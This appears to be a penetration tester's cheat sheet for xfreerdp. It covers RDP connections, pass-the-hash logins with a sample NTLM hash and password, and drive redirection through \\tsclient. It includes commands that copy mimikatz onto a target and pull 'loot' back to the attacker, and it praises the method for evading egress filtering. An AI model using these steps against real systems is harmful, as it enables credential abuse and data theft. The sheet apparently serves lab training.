🖥️ xfreerdp Cheat Sheet

📖 Connecting

# ── Basic connection ──────────────────────────────────────────────────────────
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!'

# ── Domain account + port + ignore cert prompts ──────────────────────────────
xfreerdp3 /v:172.16.8.20:3389 /d:inlanefreight.local /u:hporter /p:'Gr8hambino!' /cert:ignore

# ── Pass-the-hash ─────────────────────────────────────────────────────────────
xfreerdp3 /v:172.16.8.20 /u:hporter /pth:2b576acbe6bcfda7294d6bd18041b8fe /cert:ignore

# ── Useful quality-of-life flags ─────────────────────────────────────────────
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!' \
  /cert:ignore \            # don't prompt on self-signed certs
  +clipboard \              # shared clipboard both ways
  /dynamic-resolution \     # resize window = resize session
  /size:1920x1080 \         # or fixed resolution ( /f for fullscreen )
  /admin                    # console session (mstsc /admin equivalent)

⚠️ FreeRDP warns that /p exposes the password in the process list. Use /args-from:file (all flags in a file) or omit /p and type it at the prompt on shared systems.

# ── Share /home/daemon-sec/void as a drive named "home" ───────────────────────
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!' \
  /drive:home,/home/daemon-sec/void

# ── Path with spaces: quote the whole path part ───────────────────────────────
xfreerdp3 /v:172.16.8.20 /u:hporter /p:'Gr8hambino!' \
  /drive:tools,"/home/daemon-sec/voidwalker/tools/windows/ad"

# ── Syntax:  /drive:<NAME_ON_WINDOWS>,<LOCAL_LINUX_PATH> ─────────────────────

The name you choose (home, tools, …) is how the share appears on the Windows side.

🔍 Finding the Shared Folder on Windows

GUI session

Open Explorer → This PC — the share shows up as a Redirected drive named e.g. home on AZRAEL. It’s also reachable directly via the UNC path below.

CLI-only session (Server Core, restricted desktop, `cmd.exe` window)

The share is not a drive letter — it lives under the \\tsclient\ UNC path:

:: List all redirected drives (name you passed to /drive:)
dir \\tsclient\

:: Browse the share
dir \\tsclient\home

:: Copy tool from Kali → target
copy \\tsclient\home\mimikatz.exe C:\Temp\mimikatz.exe

:: Exfiltrate loot target → Kali
copy C:\Temp\loot.txt \\tsclient\home\loot.txt

# ── PowerShell equivalents ────────────────────────────────────────────────────
Get-ChildItem \\tsclient\home
Copy-Item \\tsclient\home\tool.exe C:\Temp\
Copy-Item C:\Temp\loot.txt \\tsclient\home\

# ── See redirected drives as PSDrives ─────────────────────────────────────────
net use
Get-PSDrive -PSProvider FileSystem

💡 No \\tsclient showing? Drive redirection can be disabled by GPO (Do not allow drive redirection) or you forgot /drive: on connect — disconnect and reconnect with it. Also try net use to confirm what the session actually mounted.

🎯 Why This Beats Other Transfer Methods

No extra listener — rides inside the RDP session itself, no SMB/HTTP server needed
Bidirectional — same share for uploading tools and pulling loot
Works when egress is filtered — port 3389 is already allowed
+clipboard handles small text loot (hashes, creds) with zero files

✅ xfreerdp complete.